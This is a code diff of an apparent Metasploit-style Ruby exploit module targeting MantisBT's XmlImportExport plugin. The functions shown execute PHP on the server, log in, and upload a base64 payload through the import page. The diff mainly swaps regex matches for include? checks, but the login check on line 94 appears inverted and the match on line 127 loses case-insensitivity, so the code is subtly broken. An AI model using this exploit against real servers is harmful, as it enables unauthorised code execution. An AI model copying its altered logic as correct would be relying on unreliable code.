@@ -51,7 +51,7 @@ def initialize(info = {})
51
51
def check
52
52
res = exec_php ( 'phpinfo(); die();' , true )
53
53
54
- if res && res . body =~ / This program makes use of the Zend/
54
+ if res && res . body && res . body . include? ( ' This program makes use of the Zend' )
55
55
return Exploit ::CheckCode ::Vulnerable
56
56
else
57
57
return Exploit ::CheckCode ::Unknown
@@ -91,7 +91,7 @@ def do_login()
91
91
} )
92
92
fail_with ( Failure ::NoAccess , 'Login failed' ) unless res && res . code == 302
93
93
94
- fail_with ( Failure ::NoAccess , 'Wrong credentials' ) unless res . redirection . to_s !~ / login_page.php/
94
+ fail_with ( Failure ::NoAccess , 'Wrong credentials' ) unless res && res . redirection . to_s . include? ( ' login_page.php' )
95
95
96
96
session_cookie = "#{ session_cookie } #{ res . get_cookies } "
97
97
end
@@ -119,12 +119,12 @@ def upload_xml(payload_b64, rand_text, cookies, is_check)
119
119
}
120
120
} )
121
121
122
- unless res && res . code == 200
122
+ unless res && res . code == 200 && res . body
123
123
print_error ( 'Error trying to access XmlImportExport/import page...' )
124
124
return false
125
125
end
126
126
127
- if res . body =~ / Plugin is not registered with MantisBT/i
127
+ if res . body . include? ( ' Plugin is not registered with MantisBT' )
128
128
print_error ( 'XMLImportExport plugin is not installed' )
129
129
return false
130
130
end
@@ -237,7 +237,7 @@ def exec_php(php_code, is_check = false)
237
237
payload_clean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
238
238
239
239
# clean b64 payload
240
- while Rex ::Text . encode_base64 ( payload_clean ) =~ /=/
240
+ while Rex ::Text . encode_base64 ( payload_clean ) . include? ( '=' )
241
241
payload_clean = "#{ payload_clean } "
242
242
end
243
243
payload_b64 = Rex ::Text . encode_base64 ( payload_clean )
0 commit comments